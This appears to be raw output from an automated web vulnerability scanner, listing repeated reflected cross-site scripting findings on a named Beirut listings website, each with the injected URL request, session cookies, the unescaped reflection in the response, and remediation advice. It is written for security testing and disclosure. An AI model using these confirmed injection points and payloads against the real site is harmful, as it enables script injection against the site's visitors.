HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:19:45 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60179
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Recreations9abe6"><a>5ba29b42c39"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 113d0'-alert(1)-'d9ebdf230b6 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Recreations113d0'-alert(1)-'d9ebdf230b6/Play-Centers/83897013 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:24:39 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60222
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='Recreations113d0'-alert(1)-'d9ebdf230b6/Play-Centers'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d0296'-alert(1)-'5c69626aca9 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Recreations/Play-Centersd0296'-alert(1)-'5c69626aca9/83897013 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:31:08 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 56455
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Recreations/Play-Centersd0296'-alert(1)-'5c69626aca9'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 74193'-alert(1)-'57ee2bbc39d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Recreations74193'-alert(1)-'57ee2bbc39d/Pool-Halls/2561106634 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:28:15 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60221
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='Recreations74193'-alert(1)-'57ee2bbc39d/Pool-Halls'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ebbcf"><a>a25aa467a08 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Recreationsebbcf"><a>a25aa467a08/Pool-Halls/2561106634 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:21:58 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60184
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Recreationsebbcf"><a>a25aa467a08"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d41ed'-alert(1)-'16e8bc12987 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Recreations/Pool-Hallsd41ed'-alert(1)-'16e8bc12987/2561106634 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:32:58 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55454
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='Recreations/Pool-Hallsd41ed'-alert(1)-'16e8bc12987'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1139b"><a>464e78fe36b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Recreations1139b"><a>464e78fe36b/Public-Beaches/075078389 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:17:54 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60188
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Recreations1139b"><a>464e78fe36b"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 72374'-alert(1)-'8cc1e2889f7 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Recreations72374'-alert(1)-'8cc1e2889f7/Public-Beaches/075078389 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:24:11 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60201
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Recreations72374'-alert(1)-'8cc1e2889f7/Public-Beaches'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f8bf2'-alert(1)-'11660c0128f was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Recreations/Public-Beachesf8bf2'-alert(1)-'11660c0128f/075078389 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:27:59 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55760
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Recreations/Public-Beachesf8bf2'-alert(1)-'11660c0128f'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 862b4"><a>9de7a23f23e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Recreations862b4"><a>9de7a23f23e/Theme-Parks/4635732484 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:26:36 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60194
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Recreations862b4"><a>9de7a23f23e"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 66b11'-alert(1)-'5992b4f4705 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Recreations66b11'-alert(1)-'5992b4f4705/Theme-Parks/4635732484 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:33:33 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60212
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Recreations66b11'-alert(1)-'5992b4f4705/Theme-Parks'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 44b2e'-alert(1)-'e333c5a2b0d was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Recreations/Theme-Parks44b2e'-alert(1)-'e333c5a2b0d/4635732484 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:37:11 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55706
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Recreations/Theme-Parks44b2e'-alert(1)-'e333c5a2b0d'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cd8b2"><a>be498242f4c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Recreationscd8b2"><a>be498242f4c/Yacht-Clubs/6501142 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:25:21 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60194
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Recreationscd8b2"><a>be498242f4c"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1a2ad'-alert(1)-'9dd3216d5f7 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Recreations1a2ad'-alert(1)-'9dd3216d5f7/Yacht-Clubs/6501142 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:32:49 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60223
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='Recreations1a2ad'-alert(1)-'9dd3216d5f7/Yacht-Clubs'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 517a3'-alert(1)-'27fb9bcf2d4 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Recreations/Yacht-Clubs517a3'-alert(1)-'27fb9bcf2d4/6501142 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:36:35 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55649
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='Recreations/Yacht-Clubs517a3'-alert(1)-'27fb9bcf2d4'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9cfec'-alert(1)-'ec6aa3a3888 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
